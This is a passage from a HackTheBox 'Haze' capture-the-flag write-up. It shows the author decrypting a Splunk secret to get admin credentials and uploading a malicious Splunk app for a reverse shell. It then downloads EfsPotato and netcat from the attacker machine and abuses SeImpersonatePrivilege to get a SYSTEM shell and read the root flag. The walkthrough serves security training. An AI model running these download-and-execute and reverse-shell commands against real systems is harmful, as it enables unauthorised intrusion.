CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B
┌──(kali㉿kali)-[~/gMSADumper/Splunk]
└─$ splunksecrets splunk-decrypt -S ./etc/auth/splunk.secret
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
/home/kali/.local/lib/python3.13/site-packages/splunksecrets.py:48: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
algorithm = algorithms.ARC4(key)
Sp1unkadmin@2k24

Now we could login to http://haze.htb:8000 with the creds admin:Sp1unkadmin@2k24 to abuse an app upload feature to be able to land a shell. This blog post explains it perfectly.
https://github.com/0xjpuff/reverse_shell_splunk

After uploading our app and navigating to it we get our shell:

1
2
3
4
5
6
PS C:\Users\0xkujen> nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.12] from (UNKNOWN) [10.10.11.61] 61084
whoami
haze\alexander.green
PS C:\Windows\system32>

Checking alexander’s privileges we can see a juicy SeImpersonatePrivilege which will allow us to impersonate a high-privilege user. We can do so using EfsPotato:

1
2
3
4
5
6
7
Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
PS C:\users\alexander.green> iwr 10.10.16.25/EfsPotato.cs -outfile EfsPotato.cs
PS C:\users\alexander.green> ls


Directory: C:\users\alexander.green


Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 3/5/2025 5:51 PM Desktop
d-r--- 3/4/2025 11:46 PM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Favorites
d-r--- 5/8/2021 1:20 AM Links
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d----- 5/8/2021 1:20 AM Saved Games
d-r--- 5/8/2021 1:20 AM Videos
-a---- 4/4/2025 5:44 PM 26026 EfsPotato.cs


PS C:\users\alexander.green> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.



This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

PS C:\users\alexander.green> ls


Directory: C:\users\alexander.green


Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 3/5/2025 5:51 PM Desktop
d-r--- 3/4/2025 11:46 PM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Favorites
d-r--- 5/8/2021 1:20 AM Links
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d----- 5/8/2021 1:20 AM Saved Games
d-r--- 5/8/2021 1:20 AM Videos
-a---- 4/4/2025 5:44 PM 26026 EfsPotato.cs
-a---- 4/4/2025 5:44 PM 17920 EfsPotato.exe


PS C:\users\alexander.green> iwr 10.10.16.25/nc64.exe -outfile nc64.exe
PS C:\users\alexander.green> ./EfsPotato.exe 'C:\users\alexander.green\nc64.exe 10.10.16.25 9001 -e powershell.exe'

And now we get a shell as nt authority\system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.12] from (UNKNOWN) [10.10.11.61] 61301
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\users\alexander.green> whoami
whoami
nt authority\system
PS C:\users\alexander.green> cd ../administrator
cd ../administrator
PS C:\users\administrator> cat desktop/root.txt
cat desktop/root.txt
0c2773f3dd2e9369a17402a0c78516d1
PS C:\users\administrator>
  • Title: Hackthebox: Haze
  • Author: Foued SAIDI
  • Created at : 2025-06-26 12:27:46
  • Updated at : 2025-06-26 15:07:38
  • Link: https://kujen5.github.io/2025/06/26/Hackthebox-Haze/
  • License: This work is licensed under CC BY-NC-SA 4.0.